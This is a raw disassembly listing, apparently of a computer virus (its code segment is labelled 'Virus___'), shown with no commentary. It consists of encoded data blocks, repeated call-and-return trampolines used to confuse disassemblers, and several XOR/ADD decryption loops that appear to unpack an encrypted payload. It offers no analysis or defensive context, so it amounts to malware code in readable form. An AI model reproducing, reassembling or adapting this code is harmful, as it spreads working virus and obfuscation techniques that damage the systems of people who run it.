0B1958909h, 2B095D0Fh, 56006AD2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 69A70DA0h dd 0BB66CD3Fh, 33ADB4F6h, 3E8D1C2h, 4E983D0h, 8B66F475h dd 0AE8D8h, 0FBB70000h, 3F3F8BB0h, 9A63143h, 5830F5Fh dd 0BF000000h, 26523476h, 880Dh, 0B1BD8B00h, 8B095D03h dd 5D091995h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0D9E698A1h, 8B67661Ch, 5D13498Dh dd 0E7816609h, 0BD299872h, 95D1419h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0EF805818h, 69BD83C1h, 95D31h dd 0A9840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0B6F5A6C3h, 233E338Fh, 49BD89D5h dd 0B8095D03h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B801B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B801B proc near ; CODE XREF: Virus___:005B8013p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B801B endp ; --------------------------------------------------------------------------- ror dword ptr [ecx], 1 test [ecx+20h], ebp pop ebp or [ebp+5D4D928Dh], ecx or [edx+0], ebp push eax call sub_5B8043 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8043 proc near ; CODE XREF: Virus___:005B803Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B8043 endp ; --------------------------------------------------------------------------- mov bl, 1Ah mov [ebp+95D1389h], eax mov edi, [ebp+95D1481h] jmp ecx ; --------------------------------------------------------------------------- push 0 push edi call sub_5B806E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B806E proc near ; CODE XREF: Virus___:005B8066p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5B806E endp ; --------------------------------------------------------------------------- mov bh, 81h fild qword ptr [edx-769E8F50h] xchg eax, ebp and eax, 83095D21h mov ebp, 95D15F9h add [edi], cl test [edx], bl add al, 0 add [edx+0], ch push eax call sub_5B80A3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B80A3 proc near ; CODE XREF: Virus___:005B809Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5B80A3 endp ; --------------------------------------------------------------------------- pop ss dec esi popa adc eax, 76EDBBA1h mov [ebp+95D0CC5h], eax cmp dword ptr [ebp+95D15F9h], 1 jz loc_5B84CD jb loc_5B80DA mov [ebp+95D32ADh], edx loc_5B80DA: ; CODE XREF: Virus___:005B80CEj cmp dword ptr [ebp+95D15F9h], 3 jbe loc_5B8497 push esi sbb bh, 41h pop ebx pusha push 0 push ecx call sub_5B80F8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B80F8 proc near ; CODE XREF: Virus___:005B80F0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5B80F8 endp ; --------------------------------------------------------------------------- mov word ptr [edx+66A13DB8h], fs mov ecx, ds push 0 push eax call sub_5B811B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B811B proc near ; CODE XREF: Virus___:005B8113p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B811B endp ; --------------------------------------------------------------------------- sub edi, edi xor [ebp+95D1F8Dh], edx and cl, 4 push 0 push eax call sub_5B8141 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8141 proc near ; CODE XREF: Virus___:005B8139p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5B8141 endp ; --------------------------------------------------------------------------- db 9Bh, 66h, 64h dd 6CC4EE3Eh, 8B56A221h, 5D0FEDBDh, 0C90A5F09h, 14F840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 5D579AC3h, 5F351B63h, 890FE16Dh, 2, 8D0FA6B3h dd 0 ; --------------------------------------------------------------------------- mov eax, [ebp+95D2C0Dh] cld xor eax, [ebp+95D2765h] push 0 push esi call sub_5B81B4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B81B4 proc near ; CODE XREF: Virus___:005B81ACp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B81B4 endp ; --------------------------------------------------------------------------- dd 25DF5F57h, 8B4A0D15h, 5D0C219Dh, 50609009h, 0FABB652h dd 11E831h, 0CECF0000h, 0E4B3E738h, 15088E67h, 0A6B020B2h dd 5E2F9E1Ah, 8E9585Ah, 5A000000h, 27CEC440h, 614182A3h dd 0DE85650h, 0EF000000h, 0B80016BEh, 43FCF60Bh, 533EE39Ch dd 5F5FDF8Bh, 759D8B90h, 66095D2Fh, 6A1432BBh, 6BF6600h dd 0A6C5685Ah, 0D88B4119h, 3A243481h, 6A4106A5h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 5656C350h, 0F88A2E97h, 0FAD95FFh, 8E9095Dh, 26000000h dd 0EB28E8A5h, 81D3D5E9h, 726238C7h, 6485893Ch, 6A0960A5h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0A459C357h, 0EB0C53C2h, 0E9E7B61Dh, 13h dd 0D359E917h, 97BBC302h, 7CB0363Dh, 0BAA4918Ah, 0E99F4206h dd 1ACh, 5C858BF5h, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 801FC355h, 0F19D897Ah dd 89095D11h, 5D29C1B5h, 1800C709h, 3000000h, 5D17CDBDh dd 60B58B09h, 6A0960A5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0B925C350h, 10F0E90Ch dd 0EA3775A8h, 23EDBD8Bh, 8B66095Dh, 51858BDFh, 0E8095D31h dd 0Dh, 0ED65AC4Fh, 7BB4A270h, 2D0B45E9h, 13E83Ch, 0D3850000h dd 0F72D1C8Eh, 0C50D9EC8h, 63175899h, 91134455h, 5B5F53F3h dd 6A06895Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 6C3BC356h, 44C1284Eh, 0FACB8166h dd 0D858B54h, 0F095D2Ch, 4689F9BFh, 0CE904h, 6F200000h dd 64AE3769h, 8AE092C6h, 50961F1Dh, 34EF8196h, 0FF080A52h dd 60A55CB5h, 0E5E78009h, 25823668h, 0B2BBF63h, 34811525h dd 3A81C924h, 0DD9D8B63h, 0BF095D25h, 6750A08h, 0A564858Dh dd 0B5890960h, 95D0311h, 0E9525090h, 7, 0BF38B644h, 0F2A0110h dd 5B505131h, 50585A5Bh, 7870Fh, 0B9600000h, 2B0F4B46h dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0C33E53C3h, 1999BD8Bh, 8956095Dh, 5D09D5BDh dd 95FF5B09h, 95D0FADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 45C35242h, 0C5A4CA70h, 6C75E7CAh, 69DB589h dd 0BD01095Dh, 95D2021h, 85C7F561h, 95D15F9h, 3, 83FEB70Fh dd 60A564BDh, 840F0009h, 17h, 6830Fh, 95890000h, 95D003Dh dd 21E9h, 159D8B00h db 25h, 5Dh, 9 ; --------------------------------------------------------------------------- loc_5B8497: ; CODE XREF: Virus___:005B80E1j ; Virus___:005B84AEj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5B8497 jmp short loc_5B84E8 ; --------------------------------------------------------------------------- loc_5B84B2: ; CODE XREF: Virus___:005B84C9j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5B84B2 jmp short loc_5B84E8 ; --------------------------------------------------------------------------- loc_5B84CD: ; CODE XREF: Virus___:005B80C8j ; Virus___:005B84E4j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5B84CD jmp short $+2 loc_5B84E8: ; CODE XREF: Virus___:005B84B0j ; Virus___:005B84CBj mov eax, eax mov ebx, edx push 0 push eax call sub_5B84F7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B84F7 proc near ; CODE XREF: Virus___:005B84EFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B84F7 endp ; --------------------------------------------------------------------------- sti mov ebx, 6969D32Dh add ebx, 1B3D9A84h cmp dword ptr [ebp+95D15F9h], 3 jnz loc_5B89F1 push 0 push ebp call sub_5B852B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B852B proc near ; CODE XREF: Virus___:005B8523p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B852B endp ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- mov eax, 0FE144D2Ch inc esp jnp loc_5B854C mov di, dx loc_5B854C: ; CODE XREF: Virus___:005B8543j cmp dword ptr [ebp+960A564h], 0 jz loc_5B89F1 push 0 push ecx call sub_5B8564 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8564 proc near ; CODE XREF: Virus___:005B855Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B8564 endp ; --------------------------------------------------------------------------- dd 0E9828CEAh, 7, 8B7CC7Ch, 0FFFAC594h, 60A564B5h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0B7B25049h, 0DE897h, 50F40000h, 46E715F7h, 6F61A8BCh dd 0FA481E0h, 68Ch, 0F5CF8100h, 5B27FA2Eh, 0A4195FFh, 6A095Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0C0F6B7C3h, 9D296A92h, 95D0415h, 0A558B58Bh, 6A0960h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 2E0294C3h, 95BF661Ah, 15B589CFh, 0C7095D2Bh, 1000106h dd 61BD8B00h, 96095D1Fh, 4B85060h, 585CA8F7h, 0CDB75061h dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 2800F29h, 8B000000h, 64B5FFFBh, 6A0960A5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 6151C351h, 6B1C0C36h, 0FFAA85FFh, 5D05FD95h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 75077B5Ah, 27B378Ch, 2840FDBh, 8B000000h dd 58B58BDFh, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 6EC2C355h, 0A9FEF3F2h dd 958912A9h, 95D0879h, 304D858Bh, 10E8095Dh, 73000000h dd 0AD88DD83h, 0FCF5C43Dh, 6DF6DA48h, 5073E612h, 5FDBB70Fh dd 0C486895Bh, 80000000h, 958B23E7h, 95D0919h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7AC35242h, 899727F2h dd 5D03E1BDh, 0FE8B6609h, 6A04C283h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B679C357h dd 0BF0F275Bh, 205089FBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 29C35141h, 9E9h, 0A5CF500h, 0F9B4722h dd 8D898511h, 95D1AADh, 0BBC1858Dh, 6A0960h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 13E632C3h dd 0F49963Bh, 28Bh, 89DA8B00h, 0B886h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0D2101A58h, 0DF765AA1h, 0D9BD8972h, 6A095D2Eh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 7789906Eh, 932ECDB7h, 3880FF1h, 0F000000h, 0B5FFD8BFh dd 960A564h, 0FFFE8B66h, 5D14C995h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0F176641Eh dd 52505A55h, 895FF98Bh, 0BD8B2434h, 95D08FDh, 12F5BD29h dd 0B5FF095Dh, 960A564h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 52C35545h, 2B24F137h, 0B0E0F81Eh, 11219D03h dd 95FF095Dh, 95D137Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 44C35646h, 36BD8D6Fh, 13564A30h, 0AE8ABh dd 22C70000h, 0B38AD662h, 0C0A8E99h, 5BD88B66h, 5E8h, 0F31BD100h dd 9D8B7631h, 95D2F7Dh, 0D1BD835Fh, 95D19h, 0E840Fh, 0FE8B0000h dd 0BF665096h, 0BB968A5Eh, 373052AAh, 0A564B5FFh, 12E90960h dd 7C000000h, 54921221h, 0E9DA5D4Ch, 2CDADE46h, 0B0E651F7h dd 9595FF4Ch, 80095D2Fh, 0B5FF0BC7h, 960A564h, 0F5ADBF66h dd 179595FFh, 8A0F095Dh, 2, 0BD834FB3h, 95D0B11h, 8E840F02h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0D375C355h, 3126433Eh, 5D251DBDh dd 15858B09h, 0F095D22h, 0C88h, 6840F00h, 89000000h, 5D02D595h dd 0C609h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0F5C35646h, 0FD8F20F7h, 6FD38129h, 607CD3E1h, 8E9h dd 0C4DFF800h, 5979A00Fh, 12E9C3h, 4D880000h, 88AB5018h dd 5C0CF6DBh, 2BBDA0F3h, 46113E31h, 4585C761h, 95D05h dd 8B000000h, 5D2831BDh db 9 ; --------------------------------------------------------------------------- loc_5B89F1: ; CODE XREF: Virus___:005B851Aj ; Virus___:005B8553j jmp loc_5B7D20 ; --------------------------------------------------------------------------- push 0 push esi call sub_5B8A01 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8A01 proc near ; CODE XREF: Virus___:005B89F9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5B8A01 endp ; --------------------------------------------------------------------------- db 51h, 14h, 0E2h dd 802183D7h, 0C18BEBEBh, 3395B501h, 858D095Dh, 95D2239h dd 10B58D09h, 0BF50095Dh, 18D8CFC9h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0C3F2C357h, 959D8B2Bh, 6A095D12h, 29858900h, 6A095D27h dd 0FBBB6600h, 9858D2Dh, 570961E1h, 0C1B58951h, 5B095D26h dd 5C0835Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 67C35545h, 3AE20997h, 0A5BD0366h, 90095D06h, 5050FC8Ah dd 8166905Fh, 6A8872C3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 801F1A61h, 11E956h, 0D4100000h dd 0A1F99904h, 0E5D647B7h, 54332D20h, 5BBB35AFh, 5B2D67BFh dd 6A006A17h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 1080C352h, 7813BD18h, 0BA6B39CDh dd 0FE8h, 0F45A2F00h, 0B189C24Ah, 61F9D97Dh, 0DFA8BACEh dd 23E5BD89h, 0FF5F095Dh, 5D085195h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F5CDDCBCh dd 8D62B38Bh, 60914C8Dh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0D1FF717Dh, 0C0D28160h dd 0E948BE31h, 0Bh, 7A2AB869h, 33E652F5h, 613C84E7h, 971BD83h dd 0F01095Dh, 9885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 8BF1B4B0h, 6E8EEh, 7F300000h dd 85D7E423h, 246D8D29h, 665F095Dh, 26AFE8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6DC35242h, 8BF88B93h dd 5D1021BDh, 4895009h, 5D9D8B24h, 0FF095D2Ah, 5D14C995h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E942E643h, 9, 10007E16h, 98CEEF98h, 0DD0E94Dh dd 0E80000h, 5D000000h, 0E113ED81h, 6A0961h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A130B3C3h dd 973798C8h, 602CE819h, 144D9D03h, 8509095Dh, 95D0B15h dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 3E0811A8h, 8BC6C02Ah, 0E2858DFAh, 0F509608Ah dd 50F8BF0Fh, 48998B3h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 5501F5A3h, 66E8DBEAh dd 6484EB81h, 35FF64h, 0F000000h, 786h, 81666000h, 61052FC8h dd 258964h, 60000000h, 5E8h, 577A7C00h, 616008BDh, 0A9858958h dd 61095D10h, 216985FFh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8B6FBBC3h, 5D2AA19Dh dd 178A0F09h, 0E8000000h, 0Dh, 0DB4349AFh, 0BC7BF963h dd 6C09598Fh, 89BF6634h, 0FF6A5B2Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DC35747h, 15C9267Fh, 0D78135F9h dd 61A26BAFh, 38DB5FFh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 23EB0C3h, 4EBB66h, 38595FFh dd 3AE9095Dh, 0F000001h, 689h, 0DDBD8B00h, 0B0095D09h dd 0BD8D2900h, 0E6095D03h, 459D8B70h, 0E4095D21h, 3CF98A71h dd 12830F61h, 0E9000001h, 0Eh, 4A52D129h, 855D9970h, 28B97940h dd 0B60FFA02h, 319D8BC8h, 0BA095D33h, 6, 8166C18Bh, 0F12B8DBh dd 0E8C1FFBFh, 12E904h, 33DF0000h, 0DED0BC8Eh, 81EFD13Ch dd 2FFFF5D9h, 8957D6B9h, 0BBE2F766h, 41F228B6h, 0B70FC82Bh dd 6860FD9h, 60000000h, 0AFB7C88Ah, 0E9D18B61h, 0ADh, 0AE8h dd 0FDDC4C00h, 8AFAF8A8h, 1F5960Fh, 5D1825BDh, 858B5B09h dd 5F4C4C44h, 48D0Fh, 0BF660000h, 0C083C581h, 399D8907h dd 83095D21h, 0BD8B00C0h, 95D0BD9h, 830FD03Bh, 1Bh, 68E9h dd 9D8D8900h, 0F095D33h, 0A84h, 48C0F00h, 66000000h, 8BF5D1BBh dd 0FFFFFF8Dh, 0D99589FFh, 83095D03h db 0E1h dword_5B8EA1 dd 3D840F01h align 4 mov ebx, [ebp+95D0819h] and dword ptr [ebp-1], 0FFFFFFFEh jmp loc_5B8ECE ; --------------------------------------------------------------------------- dw 8CAEh dd 0F3E1E286h, 0A88FA597h, 33CF275Ah, 5842E9FEh ; --------------------------------------------------------------------------- movs dword ptr es:[edi], dword ptr ss:[esi] loc_5B8ECE: ; CODE XREF: Virus___:005B8EB5j mov [ebp+5F4C4C44h], edx call sub_5B8EDF lodsb pop es lodsb fisttp qword ptr [ebx+2] ; =============== S U B R O U T I N E ======================================= sub_5B8EDF proc near ; CODE XREF: Virus___:005B8ED4p pop edi jmp $+5 lea esi, [ebp+9615192h] push 0 push ebp call sub_5B8EF6 and [ebp-3Dh], bl sub_5B8EDF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B8EF6 proc near ; CODE XREF: sub_5B8EDF+Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B8EF6 endp ; --------------------------------------------------------------------------- dw 8B44h ; --------------------------------------------------------------------------- fsubr dword ptr [edx+0] push 0 push ecx call sub_5B8F16 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8F16 proc near ; CODE XREF: Virus___:005B8F0Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B8F16 endp ; --------------------------------------------------------------------------- cli add ah, [ecx+ecx+5D1941BDh] or [edi], ecx mov edi, 0EEA8BBDAh mov eax, ds:0B195FF25h adc [ebp+9], ebx push 0 push ebp call sub_5B8F48 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8F48 proc near ; CODE XREF: Virus___:005B8F40p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5B8F48 endp ; --------------------------------------------------------------------------- and esp, ebx ja short loc_5B8FC2 mov ebx, 61B94B21h adc [eax], al add [eax-7], ah mov edi, [ebp+95D0CDDh] popa and ecx, 0FFFFFFFCh add bx, 361Eh cld push 0 push edi call sub_5B8F81 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8F81 proc near ; CODE XREF: Virus___:005B8F79p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5B8F81 endp ; --------------------------------------------------------------------------- db 3Eh, 0F0h, 1Fh ; --------------------------------------------------------------------------- mov eax, 0 mov [ebp+95D10B5h], edi mov edx, 0 push 0 push ebp call sub_5B8FAF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8FAF proc near ; CODE XREF: Virus___:005B8FA7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B8FAF endp ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- jge short loc_5B9041 loc_5B8FC2: ; CODE XREF: Virus___:005B8F5Aj setalc int 57h db 26h push ecx jmp loc_5B8FE0 ; --------------------------------------------------------------------------- dd 0AF024773h, 939CB53h, 1D0AD90Ch, 51C7FA9Fh, 5B211796h ; --------------------------------------------------------------------------- loc_5B8FE0: ; CODE XREF: Virus___:005B8FC7j mov di, 5B3Fh loc_5B8FE4: ; CODE XREF: Virus___:005B8FEEj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5B8FE4 push 0 push ebx call sub_5B8FFB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8FFB proc near ; CODE XREF: Virus___:005B8FF3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B8FFB endp ; --------------------------------------------------------------------------- db 0F9h dd 565F9860h, 8C0FBD1Eh, 0 ; --------------------------------------------------------------------------- mov di, 58h or eax, 88h push 0 push ebx call sub_5B902C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B902C proc near ; CODE XREF: Virus___:005B9024p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5B902C endp ; --------------------------------------------------------------------------- dd 958B46AFh db 19h ; --------------------------------------------------------------------------- loc_5B9041: ; CODE XREF: Virus___:005B8FC0j or [ebp+9], ebx mov ebx, [ebp+95D2B85h] mov ecx, [ebp+95D1349h] mov edi, 114866B2h push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax sub [ebp+95D04F5h], esi mov bx, 0AF99h cmp dword ptr [ebp+95D3169h], 0 jz loc_5B9108 push 0 push ecx call sub_5B9089 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9089 proc near ; CODE XREF: Virus___:005B9081p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B9089 endp ; --------------------------------------------------------------------------- db 0A2h, 0Fh, 84h dd 6, 9A59D29h, 0B8095Dh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 566AC356h dd 867CCC73h, 5C765952h, 81DFBF0Fh, 0E080DFC7h, 928D8D6Ch dd 66095D4Dh, 0FF4717BBh, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 85296F6Dh dd 95D040Dh ; --------------------------------------------------------------------------- loc_5B9108: ; CODE XREF: Virus___:005B9078j cmp dword ptr [ebp+95D15F9h], 0 jz loc_5B9533 push 0 push ebx call sub_5B9120 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9120 proc near ; CODE XREF: Virus___:005B9118p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B9120 endp ; --------------------------------------------------------------------------- dd 6EB4E723h, 0E90BDDECh, 11h, 2D9410ACh, 0D93F155Fh, 9345C10Bh dd 418779D6h, 0F9BD8318h, 1095D15h, 3F4840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0D11834C3h, 9D8B6C13h, 95D03F1h, 0BD83DE8Bh, 95D15F9h dd 89860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0AB64C356h, 1D31A8ECh dd 810F5474h, 4, 8CA6BB66h, 0F19D8B60h, 66095D2Eh, 0CF80D98Ch dd 4E180B6h, 0C90AD88Ah, 0F0840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3F6F46C3h dd 90D43CB3h, 0BF0F10FFh, 0D858BDAh, 33095D2Ch, 5D276585h dd 81665309h, 5FCFE4DBh, 0E9905090h, 9, 9FBD6CE0h, 9757045Ah dd 0F006A39h, 4468FABFh, 66A5C9A5h, 81E5E1BBh, 5EBB2404h dd 9D895A55h, 95D1F85h, 0FFD8BF0Fh, 5D0FAD95h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 17321BFh, 4617C52Bh, 858975ECh, 960A564h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EFC35141h, 0B5236060h dd 95D08DDh, 0BF61F88Bh, 4C3C75B3h, 191E961h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8BA185C3h, 78C61ABEh, 858B4686h, 960A55Ch, 0C9816660h dd 1CB8E201h, 6134B025h, 1800C7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 71DD42C3h dd 53DB8166h, 60B58BEBh, 660960A5h, 8B9C2CBFh, 5D315185h dd 6E909h, 7A520000h, 666D024Dh, 95890689h, 95D1439h, 181D8589h dd 858B095Dh, 95D2C0Dh, 0EE8h, 14F18700h, 0F7D59542h, 0E7E39300h dd 817081F4h, 1BE3BF7h, 46895F2Dh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 603BB5D5h dd 965BF850h, 0BF666050h, 0F18B348Ah, 0DB819661h, 61C461ECh dd 61BB03BBh, 5CB5FF2Fh, 600960A5h, 0FD7B70Fh, 680h, 398D8900h dd 61095D0Ch, 30AD9D8Bh, 1868095Dh, 815C0289h, 8AE72434h dd 6A5C1Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 75D901C3h, 72DF802Eh, 858DCDB3h, 960A564h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h dd 9BA3CE88h, 5A310FBBh, 0F88B6651h, 0BB66505Bh, 4893ADAh dd 0FF72B724h, 5D0FAD95h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 52BF3F7Ch dd 6124084Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 33C35242h, 0F0054F6h, 820FDAB7h, 6, 302DBD8Bh dd 85C7095Dh, 95D15F9h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 99C35646h, 55631758h, 0BF911344h, 6CE52F15h dd 0A564BD83h, 0F000960h, 7784h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 11BD8B58h dd 0F095D08h, 1A85h, 12E800h, 0FFFD0000h, 658C2367h, 5AD24B8Dh 